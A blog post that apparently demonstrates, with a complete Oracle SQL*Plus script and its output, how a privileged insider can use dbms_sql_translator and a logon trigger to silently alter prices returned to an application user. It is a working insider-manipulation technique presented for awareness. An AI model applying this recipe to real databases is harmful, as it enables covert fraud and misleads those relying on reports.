Potential for malicious use of dbms_sql_translator

By: Brian Fitzgerald

This blog posting points out how dbms_sql_translator could be misused to subtly alter application reporting. In the past, segregation of duties across application developers and administrators made such manipulation less feasible. Auditing could detect the act after the fact, but cannot prevent it.

Scenario: A company runs a pricing application. Malicious privileged user Trudy manipulates the reported price.

[oracle@stormking cdb12102 sqltranslator]$ cat transdemo.sql
whenever sqlerror exit 1
set linesize 32767
set pagesize 50000

conn d/d@//stormking:1521/pdbm
select user from dual;

create user uprice
        identified by uprice
        default tablespace users
        quota unlimited on users;
grant   create session,
        create table
        to uprice;

conn uprice/uprice@//stormking:1521/pdbm
select user from dual;
create table prices
(
        entity  varchar2(20),
        price   number
);
insert into prices ( entity, price ) values ( 'ABC', 54.32);
insert into prices ( entity, price ) values ( 'DEF', 11.44);
commit;
select entity, price from prices;

conn d/d@//stormking:1521/pdbm
select user from dual;
create user trudy identified by trudy;
grant dba to trudy;

conn trudy/trudy@//stormking:1521/pdbm
select user from dual;

grant translate any sql to trudy;
begin
        dbms_sql_translator.create_profile(
                profile_name    => q'{pricefixpro}'
        );

        dbms_sql_translator.register_sql_translation(
                profile_name    => q'{pricefixpro}',
                sql_text        => q'{select entity, price from prices}',
                translated_text => q'{select entity,
                        case entity when 'DEF'
                        then price * .99
                        else price end price
                        from prices}'
        );
end;
/

column owner format a30
column profile_name format a30
select owner, profile_name
from dba_sql_translation_profiles;

create or replace trigger uprice.xlate_trg
after logon on database
when ( user in ('UPRICE') )
declare
        l_cmd   clob;
begin
        l_cmd := q'{alter session
                set events = '10601
                trace name context forever, level 32'}';
        execute immediate l_cmd;
        l_cmd := q'{alter session
                set sql_translation_profile = trudy.pricefixpro}';
        execute immediate l_cmd;
end;
/

column owner format a10
column trigger_name format a20
column trigger_type format a20
column triggering_event format a10
select
owner, trigger_name, trigger_type, triggering_event
from dba_triggers
where owner = 'UPRICE'
and trim(triggering_event) = 'LOGON'
;

grant alter session to uprice;
grant all on sql translation profile pricefixpro to uprice;
grant administer database trigger to uprice;

conn uprice/uprice@//stormking:1521/pdbm
select user from dual;

select entity, price from prices;

conn d/d@//stormking:1521/pdbm
select user from dual;
drop trigger uprice.xlate_trg;
revoke administer database trigger from uprice;
revoke alter session from uprice;
drop user trudy cascade;

drop user uprice cascade;
quit
[oracle@stormking cdb12102 sqltranslator]$ sqlplus /nolog @ transdemo.sql ; date

SQL*Plus: Release 12.1.0.2.0 Production on Sat Nov 5 11:40:50 2016

Copyright (c) 1982, 2014, Oracle.  All rights reserved.

Connected.

USER
------------------------------
D


User created.


Grant succeeded.

Connected.

USER
------------------------------
UPRICE


Table created.


1 row created.


1 row created.


Commit complete.


ENTITY                    PRICE
-------------------- ----------
ABC                       54.32
DEF                       11.44

Connected.

USER
------------------------------
D


User created.


Grant succeeded.

Connected.

USER
------------------------------
TRUDY


Grant succeeded.


PL/SQL procedure successfully completed.


OWNER                          PROFILE_NAME
------------------------------ ------------------------------
TRUDY                          PRICEFIXPRO


Trigger created.


OWNER      TRIGGER_NAME         TRIGGER_TYPE         TRIGGERING
---------- -------------------- -------------------- ----------
UPRICE     XLATE_TRG            AFTER EVENT          LOGON


Grant succeeded.


Grant succeeded.


Grant succeeded.

Connected.

USER
------------------------------
UPRICE


ENTITY                    PRICE
-------------------- ----------
ABC                       54.32
DEF                     11.3256

Connected.

USER
------------------------------
D


Trigger dropped.


Revoke succeeded.


Revoke succeeded.


User dropped.


User dropped.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s